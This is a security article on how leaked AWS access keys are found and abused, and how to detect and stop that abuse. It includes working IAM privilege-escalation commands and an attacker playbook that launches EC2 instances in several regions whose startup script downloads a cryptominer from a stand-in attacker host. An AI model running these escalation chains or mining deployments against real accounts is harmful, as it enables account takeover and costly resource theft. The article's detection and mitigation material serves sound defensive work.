AWS publishes a statistic that should terrify every engineering team: when a valid AWS access key is committed to a public GitHub repository, automated scanners detect and attempt to use it in an average of 4 minutes. In documented cases, the first unauthorized API call has occurred within seconds of the git push.
Cloud credential theft is not a sophisticated nation-state technique. It is commodity automation running 24 hours a day against every public code repository, package registry, and CI/CD log endpoint on the internet. Understanding how these attacks work — the exact IAM privilege escalation chains, the specific services attackers abuse, and the detection signals that give you a chance to respond — is essential for anyone operating in AWS.
How Keys Leak: The Exposure Vectors
Vector 1: Git Commits (The Most Common)
1# Developer accidentally hardcodes credentials in application config
2cat config.py
3# AWS_ACCESS_KEY_ID = "AKIAIOSFODNN7EXAMPLE"
4# AWS_SECRET_ACCESS_KEY = "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"
5
6git add config.py
7git commit -m "add AWS config"
8git push origin main # <- Key is now public
9
10# Even after removal:
11git log -p -- config.py # Key is visible in history
Vector 2: Environment Files Committed
1# .env files containing credentials pushed alongside application code
2cat .env
3# AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
4# AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
5# DB_PASSWORD=supersecret
6
7# .gitignore missing or .env added explicitly
8echo ".env" >> .gitignore # Too late after first push
Vector 3: CI/CD Pipeline Logs
CI/CD systems often print environment variables during debugging. Build logs for public repositories on GitHub Actions, CircleCI, and Travis CI are publicly visible:
1# Dangerous CI pattern — debug step that dumps env
2- name: Debug environment
3 run: env # Prints ALL environment variables including AWS_*
Vector 4: Docker Images
1# Keys baked into Docker image layers
2FROM python:3.11
3ENV AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
4ENV AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
5
6# Even if removed in a later layer:
7# docker history shows all layers
8# docker save exports all layers including intermediate ones
Vector 5: npm Packages
Security researchers at GitGuardian regularly discover credentials embedded in npm packages — sometimes in minified JavaScript, sometimes in test fixtures, and sometimes in package.json scripts.
Automated Scanners Finding Your Keys
The attacker side of this problem involves tools that continuously monitor public data sources:
- git-rob / truffleHog: Scans git history with regex and entropy-based detection
- gitleaks: Fast git secret scanner with pre-commit hook integration
- GitGuardian: Commercial SaaS monitoring GitHub, GitLab, Bitbucket in real time
- Bucket-stream: Monitors Certificate Transparency logs for new S3 bucket names
- Custom AWS credential regex: Pattern
AKIA[0-9A-Z]{16}identifies IAM access key IDs with high confidence
Scanning for Exposed Credentials
Defense Side: Find Leaked Keys Before Attackers Do
1# Install truffleHog
2pip install truffleHog
3
4# Scan a git repository including history
5trufflehog git https://github.com/yourorg/yourrepo.git \
6 --only-verified \
7 --json | python3 -m json.tool
8
9# Scan local repository
10trufflehog git file://. --only-verified
11
12# Install gitleaks
13brew install gitleaks # or download from GitHub releases
14
15# Scan current repo including all history
16gitleaks detect --source . --report-format json --report-path gitleaks-report.json
17
18# Scan for AWS keys specifically
19git log -p | grep -E 'AKIA[0-9A-Z]{16}'
20
21# Scan all branches
22for branch in $(git branch -r | grep -v HEAD); do
23 git log -p $branch | grep -E '(AKIA|ASIA)[0-9A-Z]{16}'
24done
The 4-Minute Attack Timeline
AWS security research and incident response data paint a consistent picture of what happens after a key is exposed:
| Time | Event |
|---|---|
| T+0s | Developer pushes commit with embedded key to public GitHub repo |
| T+4s–4m | Automated scanner detects the AKIA... pattern in the commit |
| T+4m–15m | Attacker calls sts:GetCallerIdentity to validate the key and identify the account |
| T+15m–30m | Enumerate IAM permissions using iam:ListAttachedUserPolicies, iam:GetPolicy |
| T+30m–1h | Escalate privileges through IAM chains or directly deploy resources if permissions allow |
| T+1h–4h | Cryptocurrency mining infrastructure deployed, or data exfiltration begins |
| T+hours–days | Victim discovers unauthorized bill or GuardDuty alert |
IAM Privilege Escalation Chains
Reconnaissance: Enumerate What the Key Can Do
1# Validate the key and get account context
2aws sts get-caller-identity
3
4# List all policies attached to the current user
5aws iam list-attached-user-policies --user-name $(aws sts get-caller-identity --query Arn --output text | cut -d/ -f2)
6
7# Use enumerate-iam tool for comprehensive permission discovery
8# https://github.com/andresriancho/enumerate-iam
9pip install enumerate-iam
10enumerate-iam.py \
11 --access-key AKIAIOSFODNN7EXAMPLE \
12 --secret-key wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY \
13 --region us-east-1
Escalation Path 1: iam:PassRole + lambda:CreateFunction
This is one of the most common escalation chains. The attacker does not need direct IAM write access:
1# Step 1: Find a high-privilege role that can be passed
2aws iam list-roles --query 'Roles[?contains(RoleName, `admin`) || contains(RoleName, `full`)].{Name:RoleName,Arn:Arn}'
3
4# Step 2: Create a Lambda function passing the high-privilege role
5aws lambda create-function \
6 --function-name escalation-test \
7 --runtime python3.12 \
8 --handler index.handler \
9 --role arn:aws:iam::123456789012:role/AdminRole \
10 --zip-file fileb://function.zip
11
12# Step 3: The Lambda function payload extracts its own credentials
13# (function code would call boto3.client('sts').get_caller_identity()
14# and exfiltrate the temporary credentials with admin access)
15
16# Step 4: Invoke the function and capture the output
17aws lambda invoke \
18 --function-name escalation-test \
19 --payload '{}' \
20 output.json && cat output.json
Escalation Path 2: iam:AttachRolePolicy
1# If the compromised key can attach policies:
2aws iam attach-user-policy \
3 --user-name attacker-controlled-user \
4 --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
5
6# Or create and attach a custom policy
7aws iam create-policy \
8 --policy-name escalation \
9 --policy-document '{
10 "Version": "2012-10-17",
11 "Statement": [{"Effect": "Allow", "Action": "*", "Resource": "*"}]
12 }'
13
14aws iam attach-user-policy \
15 --user-name current-user \
16 --policy-arn arn:aws:iam::123456789012:policy/escalation
Escalation Path 3: sts:AssumeRole Pivot
1# Check which roles the current principal can assume
2aws iam simulate-principal-policy \
3 --policy-source-arn arn:aws:iam::123456789012:user/developer \
4 --action-names sts:AssumeRole \
5 --resource-arns arn:aws:iam::123456789012:role/*
6
7# Attempt to assume roles that haven't been explicitly restricted
8for role in $(aws iam list-roles --query 'Roles[].Arn' --output text | tr '\t' '\n'); do
9 aws sts assume-role \
10 --role-arn $role \
11 --role-session-name test 2>/dev/null && echo "SUCCESS: $role"
12done
Cryptocurrency Mining Deployment Pattern
After establishing administrative access, the fastest monetization path is cryptocurrency mining:
1# Typical attacker playbook after privilege escalation:
2
3# 1. Launch spot instances in multiple regions (minimize cost, maximize compute)
4for region in us-east-1 us-west-2 eu-west-1 ap-southeast-1; do
5 aws ec2 run-instances \
6 --region $region \
7 --instance-type c5.4xlarge \
8 --image-id ami-0abcdef1234567890 \
9 --count 20 \
10 --user-data '#!/bin/bash
11 curl -L https://attacker.com/xmrig -o /tmp/miner
12 chmod +x /tmp/miner
13 /tmp/miner -o pool.attacker.com:4444 -u wallet -p x &' \
14 --instance-initiated-shutdown-behavior terminate
15done
16
17# 2. Request spot fleet for even more compute
18aws ec2 request-spot-fleet \
19 --spot-fleet-request-config file://spot-fleet-config.json
A single c5.4xlarge instance running XMRig can mine approximately 2,000-3,000 H/s of Monero. Twenty instances across four regions provide significant mining capacity at the victim’s expense. AWS billing for this pattern commonly exceeds $10,000–$50,000 before the victim notices.
Detection
GuardDuty Findings
GuardDuty is the primary detection control for compromised IAM credentials. Key findings to monitor:
1# List active GuardDuty findings filtered by severity
2aws guardduty list-findings \
3 --detector-id $(aws guardduty list-detectors --query DetectorIds[0] --output text) \
4 --finding-criteria '{
5 "Criterion": {
6 "severity": {"Gte": 7},
7 "service.archived": {"Eq": ["false"]}
8 }
9 }' \
10 --query FindingIds \
11 --output json
12
13# Get finding details
14aws guardduty get-findings \
15 --detector-id $(aws guardduty list-detectors --query DetectorIds[0] --output text) \
16 --finding-ids <FINDING_ID> \
17 --query 'Findings[*].{Type:Type,Severity:Severity,Title:Title,Account:AccountId}'
Critical finding types for credential compromise:
UnauthorizedAccess:IAMUser/MaliciousIPCaller— API call from known malicious IPUnauthorizedAccess:IAMUser/ConsoleLoginSuccess.B— console login from unusual locationCryptoCurrency:EC2/BitcoinTool.B— EC2 instance connecting to mining poolDiscovery:IAMUser/AnomalousBehavior— unusual IAM enumeration activityImpact:IAMUser/AnomalousBehavior— unusual resource creation pattern
CloudTrail Queries
1# Detect console login from unusual geography
2aws cloudtrail lookup-events \
3 --lookup-attributes AttributeKey=EventName,AttributeValue=ConsoleLogin \
4 --start-time $(date -u -d '24 hours ago' +%Y-%m-%dT%H:%M:%SZ) \
5 --query 'Events[*].{Time:EventTime,User:Username,Source:CloudTrailEvent}' \
6 --output json | python3 -c "
7import sys, json
8events = json.load(sys.stdin)
9for e in events:
10 event_data = json.loads(e['Source'])
11 response = event_data.get('responseElements', {})
12 login_result = response.get('ConsoleLogin', '')
13 source_ip = event_data.get('sourceIPAddress', '')
14 if login_result == 'Success':
15 print(f'Login: {e[\"User\"]} from {source_ip} at {e[\"Time\"]}')
16"
17
18# Detect IAM privilege escalation attempts
19aws cloudtrail lookup-events \
20 --lookup-attributes AttributeKey=EventName,AttributeValue=AttachRolePolicy \
21 --start-time $(date -u -d '7 days ago' +%Y-%m-%dT%H:%M:%SZ) \
22 --query 'Events[*].{Time:EventTime,User:Username,Resource:Resources[0].ResourceName}'
23
24# Detect new IAM users or access keys created (persistence)
25for event in CreateUser CreateAccessKey CreateLoginProfile; do
26 echo "--- $event ---"
27 aws cloudtrail lookup-events \
28 --lookup-attributes AttributeKey=EventName,AttributeValue=$event \
29 --start-time $(date -u -d '48 hours ago' +%Y-%m-%dT%H:%M:%SZ) \
30 --query 'Events[*].{Time:EventTime,User:Username}' \
31 --output table
32done
IAM Access Analyzer
1# Enable IAM Access Analyzer
2aws accessanalyzer create-analyzer \
3 --analyzer-name account-analyzer \
4 --type ACCOUNT
5
6# List findings (externally accessible resources)
7aws accessanalyzer list-findings \
8 --analyzer-arn arn:aws:access-analyzer:us-east-1:123456789012:analyzer/account-analyzer \
9 --query 'findings[*].{Resource:resource,Type:resourceType,Status:status}' \
10 --output table
Defense and Mitigation
Control 1: Pre-commit Hooks to Prevent Key Commits
1# Install gitleaks as a pre-commit hook
2cat > .git/hooks/pre-commit << 'EOF'
3#!/bin/bash
4gitleaks detect --staged --redact
5if [ $? -ne 0 ]; then
6 echo "ERROR: Potential secrets detected. Commit blocked."
7 exit 1
8fi
9EOF
10chmod +x .git/hooks/pre-commit
11
12# Or use pre-commit framework
13pip install pre-commit
14cat > .pre-commit-config.yaml << 'EOF'
15repos:
16 - repo: https://github.com/gitleaks/gitleaks
17 rev: v8.18.0
18 hooks:
19 - id: gitleaks
20EOF
21pre-commit install
Control 2: AWS Secrets Manager Integration
Replace hardcoded credentials and environment variables with Secrets Manager calls:
1import boto3
2import json
3
4
5def get_secret(secret_name: str, region: str = "us-east-1") -> dict:
6 """Retrieve a secret from AWS Secrets Manager at runtime."""
7 client = boto3.client("secretsmanager", region_name=region)
8 response = client.get_secret_value(SecretId=secret_name)
9 return json.loads(response["SecretString"])
10
11
12# Usage — no credentials in source code
13db_creds = get_secret("production/database/credentials")
14db_password = db_creds["password"]
Control 3: Immediate Key Rotation Playbook
1#!/bin/bash
2# Incident response: Leaked key response playbook
3# Usage: ./rotate-key.sh AKIAIOSFODNN7EXAMPLE
4
5COMPROMISED_KEY=$1
6ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
7
8echo "[1] Disabling compromised key..."
9# Find user associated with key
10USER_NAME=$(aws iam list-users --query "Users[?UserName!=null].UserName" --output text | \
11 xargs -I{} sh -c "aws iam list-access-keys --user-name {} --query \"AccessKeyMetadata[?AccessKeyId=='${COMPROMISED_KEY}'].UserName\" --output text" | \
12 grep -v '^$' | head -1)
13
14aws iam update-access-key \
15 --access-key-id "$COMPROMISED_KEY" \
16 --status Inactive \
17 --user-name "$USER_NAME"
18echo " Key $COMPROMISED_KEY disabled for user $USER_NAME"
19
20echo "[2] Checking for resources created by this key (last 24h)..."
21aws cloudtrail lookup-events \
22 --lookup-attributes AttributeKey=AccessKeyId,AttributeValue="$COMPROMISED_KEY" \
23 --start-time $(date -u -d '24 hours ago' +%Y-%m-%dT%H:%M:%SZ) \
24 --query 'Events[*].{Time:EventTime,Event:EventName,Resource:Resources[0].ResourceName}' \
25 --output table
26
27echo "[3] Check for new IAM principals created..."
28aws iam list-users --query 'Users[?CreateDate>`'"$(date -u -d '24 hours ago' +%Y-%m-%dT%H:%M:%SZ)"'`].{Name:UserName,Created:CreateDate}' --output table
29
30echo "[4] Check for new EC2 instances..."
31aws ec2 describe-instances \
32 --filters "Name=instance-state-name,Values=running,pending" \
33 --query 'Reservations[].Instances[?LaunchTime>`'"$(date -u -d '24 hours ago' +%Y-%m-%dT%H:%M:%SZ)"'`].{ID:InstanceId,Type:InstanceType,Launch:LaunchTime}' \
34 --output table
35
36echo "Playbook complete. Review output before deleting key."
37echo "Delete when ready: aws iam delete-access-key --access-key-id $COMPROMISED_KEY --user-name $USER_NAME"
Control 4: SCPs Restricting Regions and Services
1{
2 "Version": "2012-10-17",
3 "Statement": [
4 {
5 "Sid": "AllowOnlyApprovedRegions",
6 "Effect": "Deny",
7 "Action": "*",
8 "Resource": "*",
9 "Condition": {
10 "StringNotEquals": {
11 "aws:RequestedRegion": ["us-east-1", "us-west-2", "eu-west-1"]
12 }
13 }
14 },
15 {
16 "Sid": "DenyLargeEC2Instances",
17 "Effect": "Deny",
18 "Action": "ec2:RunInstances",
19 "Resource": "arn:aws:ec2:*:*:instance/*",
20 "Condition": {
21 "StringLike": {
22 "ec2:InstanceType": ["*.metal", "c5.12xlarge", "c5.18xlarge", "c5.24xlarge"]
23 }
24 }
25 }
26 ]
27}
Control 5: MFA on Root and Sensitive Actions
1# Enforce MFA for all console logins via IAM policy condition
2cat << 'EOF'
3{
4 "Version": "2012-10-17",
5 "Statement": [
6 {
7 "Sid": "DenyWithoutMFA",
8 "Effect": "Deny",
9 "NotAction": [
10 "iam:CreateVirtualMFADevice",
11 "iam:EnableMFADevice",
12 "iam:GetUser",
13 "iam:ListMFADevices",
14 "iam:ListVirtualMFADevices",
15 "iam:ResyncMFADevice",
16 "sts:GetSessionToken"
17 ],
18 "Resource": "*",
19 "Condition": {
20 "BoolIfExists": {
21 "aws:MultiFactorAuthPresent": "false"
22 }
23 }
24 }
25 ]
26}
27EOF
MITRE ATT&CK Mapping
- T1552.001 — Unsecured Credentials: Credentials in Files: AWS keys stored in source code or configuration files.
- T1078.004 — Valid Accounts: Cloud Accounts: Use of legitimately obtained cloud credentials.
- T1496 — Resource Hijacking: Using compromised cloud accounts to mine cryptocurrency.
- T1548.005 — Abuse Elevation Control Mechanism: Temporary Elevated Cloud Access: IAM privilege escalation chains.
Related Attacks in This Series
- S3 Bucket Breach: Misconfigured Permissions and Data Leaks
- Container Escape: Breaking Out of Docker
- Serverless Injection: Attacking Lambda Through Event Data
- Supply Chain Attack: How SolarWinds Was Compromised
- OAuth Token Theft: Hijacking App Permissions
References
- AWS — 4-Minute Key Exposure Research
- GitGuardian — State of Secrets Sprawl Report 2024
- MITRE ATT&CK T1552.001 — Credentials in Files
- Rhino Security Labs — AWS IAM Privilege Escalation
- Amazon GuardDuty Finding Types
- AWS Secrets Manager Documentation
- gitleaks — Secret Scanner
- enumerate-iam — IAM Permission Enumeration Tool






